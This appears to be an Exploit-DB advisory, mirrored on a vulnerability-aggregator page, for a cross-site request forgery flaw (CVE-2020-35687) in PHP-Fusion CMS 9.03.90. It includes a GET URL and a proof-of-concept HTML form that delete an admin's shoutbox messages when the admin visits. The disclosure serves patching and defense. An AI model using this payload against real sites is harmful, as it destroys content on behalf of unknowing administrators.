PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)

🗓️ 15 Jan 2021 00:00:00Reported by Mohamed OosmanType

exploitdb🔗 www.exploit-db.com👁 433 Views

PHP-Fusion CMS 9.03.90 CSRF vulnerability, delete admin shoutbox messag

Reporter	Title	Published	Views	Family All 13
ATTACKERKB	CVE-2020-35687	13 Jan 202100:00	–	attackerkb
Circl	CVE-2020-35687	6 Feb 202101:51	–	circl
CNNVD	Phpfusion 跨站请求伪造漏洞	13 Jan 202100:00	–	cnnvd
CNVD	PHPFusion Cross-Site Request Forgery Vulnerability	14 Jan 202100:00	–	cnvd
CVE	CVE-2020-35687	13 Jan 202116:52	–	cve
Cvelist	CVE-2020-35687	13 Jan 202116:52	–	cvelist
EUVD	EUVD-2020-23346	7 Oct 202500:30	–	euvd
NVD	CVE-2020-35687	13 Jan 202117:15	–	nvd
OpenVAS	PHPFusion < 9.03.100 Multiple Vulnerabilities	3 May 202100:00	–	openvas
OSV	CVE-2020-35687	13 Jan 202117:15	–	osv

# Exploit Title: PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)
# Date: 2020-12-21
# Exploit Author: Mohamed Oosman B S
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/phpfusion_9_downloads.php
# Version: 9.03.90 and below
# Tested on: Windows 10
# CVE : CVE-2020-35687

1. Description:
PHP-Fusion version 9.03.90 is vulnerable to CSRF attack which leads to deletion of shoutbox messages by the attacker on behalf of the logged in victim.

2. Proof of Concept
As the requests for deleting the admin shoutbox are sent using the GET method, the CSRF attack to delete an attacker-controlled shoutbox message can be performed by having the admin visit https://TARGET.com/infusions/shoutbox_panel/shoutbox_archive.php?s_action=delete&shout_id=1 directly,
after getting to know the shout_id of the message, as it is sequential.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://TARGET/infusions/shoutbox_panel/shoutbox_archive.php">
<input type="hidden" name="s&#95;action" value="delete" />
<input type="hidden" name="shout&#95;id" value="3" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

15 Jan 2021 00:00Current

4.9Medium risk

Vulners AI Score4.9

CVSS 3.14.3

CVSS 24.3

EPSS0.00161